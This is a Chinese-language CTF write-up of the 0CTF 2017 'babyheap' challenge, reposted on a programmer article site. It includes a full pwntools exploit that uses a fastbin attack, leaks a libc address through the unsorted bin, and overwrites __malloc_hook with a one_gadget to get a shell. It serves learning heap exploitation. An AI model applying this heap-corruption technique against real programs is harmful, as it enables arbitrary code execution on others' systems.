欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

0ctf-2017-babyheap图解

程序员文章站 2022-03-27 20:42:04
...

刚入门pwn的菜鸡选手看这个最简单的堆题都看了好久,在这里写一下自己的分析做备忘,也希望能帮助那些跟我一样刚刚接触堆的萌新。
主要思路就是:

  • fastbin attack
  • unsortedbin attack 泄露libc地址
  • malloc_hook劫持程序流

程序分析

  • 因为markdown画图不太熟悉,就用其他软件画了图。
  • 先放exp,因为下面的图是根据exp画的。
#!/usr/bin/python
# -*- coding: utf-8 -*-
# ************************************************************************ 
# * 
# * @file:babyheap_0ctf_2017.py 
# * @date:2020-01-30 22:31 
# * @version 1.0  
# * @description: Python Script 
# * @Copyright (c)  all right reserved 
# * 
#************************************************************************* 

from pwn import *
import sys

context.terminal = ['tmux', 'splitw', '-h' ]
context(os='linux', arch='amd64', log_level='debug')

local_file = './babyheap_0ctf_2017'
ip = 'node3.buuoj.cn'
port = 1
def con(cmd):
   if cmd == 0:
         sh = process(local_file)
   else:
         sh = remote(ip, port)
   return sh

def cmd(x):
      sh.sendlineafter('Command: ',str(x))

def allocate(size):
      cmd(1)
      sh.sendlineafter('Size: ',str(size))

def fill(index,content):
      cmd(2)
      sh.sendlineafter('Index: ',str(index))
      sh.sendlineafter('Size: ',str(len(content)))
      sh.sendlineafter('Content: ',content)

def free(index):
      cmd(3)
      sh.sendlineafter('Index: ',str(index))

def dump(index):
      cmd(4)
      sh.sendlineafter('Index: ',str(index))

sh = con(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 图0
allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
#图1
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
#图2
allocate(0x40)
fill(1,p64(0x91)*4)
#图3
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,'\x00'))
success('get_addr => '+hex(addr))
malloc_hook = addr - 0x68
success('malloc_hook => '+hex(malloc_hook))
#图5
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
#图6
allocate(0x60) #idx2
allocate(0x60) #idx4

libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc ='+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = 'a'*0x13+ one_gadget  #本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()

0ctf-2017-babyheap图解
0ctf-2017-babyheap图解
0ctf-2017-babyheap图解
0ctf-2017-babyheap图解
0ctf-2017-babyheap图解

下一步我们继续申请2个0x60的chunk,因为fastbin上链了3个节点,首先会从fastbin[0x70]链表中取出来第一个节点(对应开始位置是上图中的D0处),建立了一个总大小为0x70的chunk。第二次allocate则会取链表的下一个节点,也就是malloc_hook-0x23这个地址作为新的chunk的开始地址,这个chunk总的大小还是0x70。通过本地查看信息计算偏移,得到最后的payload
0ctf-2017-babyheap图解

参考链接:
2017-0ctf-babyheap
ctfwiki

相关标签: pwn